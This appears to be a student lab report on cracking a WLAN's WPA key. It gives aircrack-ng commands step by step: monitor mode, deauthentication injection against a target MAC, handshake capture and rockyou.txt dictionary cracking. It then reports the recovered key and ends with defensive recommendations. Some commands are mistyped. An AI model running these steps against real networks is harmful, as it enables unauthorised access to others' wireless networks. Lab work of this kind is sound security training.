**Section 1:**

1. Log into the Kali system.
2. Use airmon-ng start wlan0 command to monitor all wireless traffic.
3. Check if mon0 interface was created.
4. Use the command: aireplay -ng -0 5 -a “target MAC address” -h “host MAC address” –ignore-negative-on mon0.
5. The previous command injects 5 deauthorization attacks to the target MAC address that will force clients off a given network. When they re-authenticate, the packets can be captured and login information will be stolen.
6. Use the command: airodump-ng –channel 11 –bssid “target MAC address” –write Capture mon0
7. The previous command will tell the airodump tool to monitor channel 11 on the target device and to dump all traffic from interface mon0 into a new file named Capture.
8. Press ctrl-c to stop the dump process.
9. Use the command: aircrack-ng -w wordlist Capture-01.cap
10. The previous command will use the word list or passphrase dictionary to search the airodump capture for possible passphrases for the network and try to crack the key.
11. Choose a wireless network/access point to crack and wait until it’s complete.
12. Stop the mon0 interface by issuing the command: airmon-ng stop mon0
13. Test the passkey by entering while connecting to the network.

**Section 2:**



This shows the key “darkobsidian” was found and that it took 5 minutes and 11 second to find the key.

**Section 3:**

Part 1:

When using public WiFi, you are risking connecting to a rogue access point that is controlled by a nefarious party. If using public WiFi, I would recommend using some kind of VPN in order to encrypt your data and to connect to your company’s network. If for personal use, there are other VPN options out there online. Don’t use public WiFi whenever possible.

Part 2:

1. <https://www.wirelesshack.org/wpa-wpa2-word-list-dictionaries.html>
2. aircrack-ng -w /WLAN/wordlist/rockyou.txt /WLAN/wordlist/WLAN/Capture-01.cap

Part 3:

Summary of findings:

* The wireless network is not protected well and aircrack-ng was able to crack the WPA key. Also, WLAN traffic is not encrypted.

Critical risks, threats, and vulnerabilities on the WLAN:

* Unencrypted WLAN traffic is subject to many risks because any information can be gathered by packet capturing. The passphrase for the WPA key was also too basic. It was cracked with a word list in just over 5 minutes.

Assessment of the overall security of this WLAN:

* This WLAN is not secure as the WLAN traffic is unencrypted and the key was able to be easily cracked.

Security recommendations:

* Use the best possible encryption method for WLAN traffic. WPA2 is the current standard.
* Use better passwords and authentication methods. Consider a RADIUS server for authentication.